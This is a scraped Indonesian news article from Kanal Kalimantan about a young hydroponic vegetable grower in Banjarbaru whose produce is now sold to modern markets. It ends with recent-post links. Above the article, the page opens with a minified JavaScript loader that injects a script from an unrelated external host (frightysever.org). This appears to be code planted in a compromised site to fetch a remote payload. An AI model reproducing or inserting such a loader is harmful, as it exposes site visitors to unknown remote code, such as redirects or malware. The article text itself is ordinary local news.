(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kanal

Sayuran Hidroponik Milik Dian Ini Kini Dilirik Pasar Modern di Banjarbaru


BANJARBARU, Hasil budidaya tanaman dengan sistem hidroponik semakin hari semakin diminati oleh masyarakat. Terlihat antusias warga begitu tinggi akan pola hidup sehat dengan membeli aneka sayur oganik yang dijajakan Dian (26) di halaman kantor Gebernur jalan Aneka Tambang, Cempaka, Kota Banjarbaru, Minggu (18/2).

“Sayuran hidroponik adalah sayuran yang tumbuh dengan bantuan cairan yang mengandung mineral yang diperlukan oleh sayuran untuk tumbuh,” begitu ungkap Dian ketika ditanya Kanal Kalimantan. Tanaman hidroponik sangat dijaga cara dan tempat penanamannya, serta tidak membutuhkan tanah, maka sayuran hidroponik tidak perlu penggunaan pestisida untuk melindungi dari serangan hama serangga.

“Jadi, kebanyakan produk tanaman hidroponik adalah juga organik, mungkin itu yang juga menjadi daya tarik konsumen untuk mengkonsumsi sayuran hidroponik ini,” ungkap Dian.

Bernaneka macam sayuran seperti selada, bayam, sawi, seledri dan pakcoy dijajakan pada pagi itu, dalam kemasan yang sangat higienis dan terjaga kebersihannya menjadi daya tarik lebih bagi konsumen. Untuk harga masing-masing bervarian dari harga Rp 5 ribu sampai Rp 8 ribu perikat.

Usaha budidaya sayuran dengan media hidroponik sudah dijalaninya sekitar 1 tahun terakhir ini. Memanfaatkan lahan minimal, Dian sengaja mengembangkan tanaman hidroponik. “Tak hanya sebagai hobi namun juga sebagai peluang usaha yang menghasilkan,” ungkap Dian.

Antusias masyarakat untuk mengkonsumsi sayur organik sekarang semakin tinggi, terbukti puluhan ikat aneka sayur hidroponik ludes setiap jualan.

“Kalau ditanya omset perbulannya tidak menentu, kira-kira bisa sampai Rp 3 jutaan,” sebut Dian.

Wira usahawan lulusan Fakultas Pertanian Universitas Lambung Mangkurat ini mengaku selain dijajakan setiap pekan, baru-baru ini sudah melakukan kerjasama dengan pasar-pasar modern yang ada di Banjarbaru dan sekitarnya. “Saya berharap agar selalu bisa memenuhi kebutuhan pasar modern tersebut mengingat mereka sudah sepakat akan mematok target per pekannya,” pungkas Dian.

Ria Monica (28) seorang pembeli kepada Kanal Kalimantan mengaku memilih sayuran hidroponik untuk dikonsumsi karena bersih dan higienis.

“Saya sempat sedikit tahu tentang tanaman hidroponik, tentang proses hingga pengelolaan tanamnya, pasti juga terjamin dari segi vitamin dan pasti tanpa petisida, kalau harga dibanding dengan sayur yang dijual di pasar sama saja, mending saya memilih sayuran hidroponik,” ujar Ria. (rendy/hendra)

Reporter: Rendy/Hendera
Editor: Zharrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.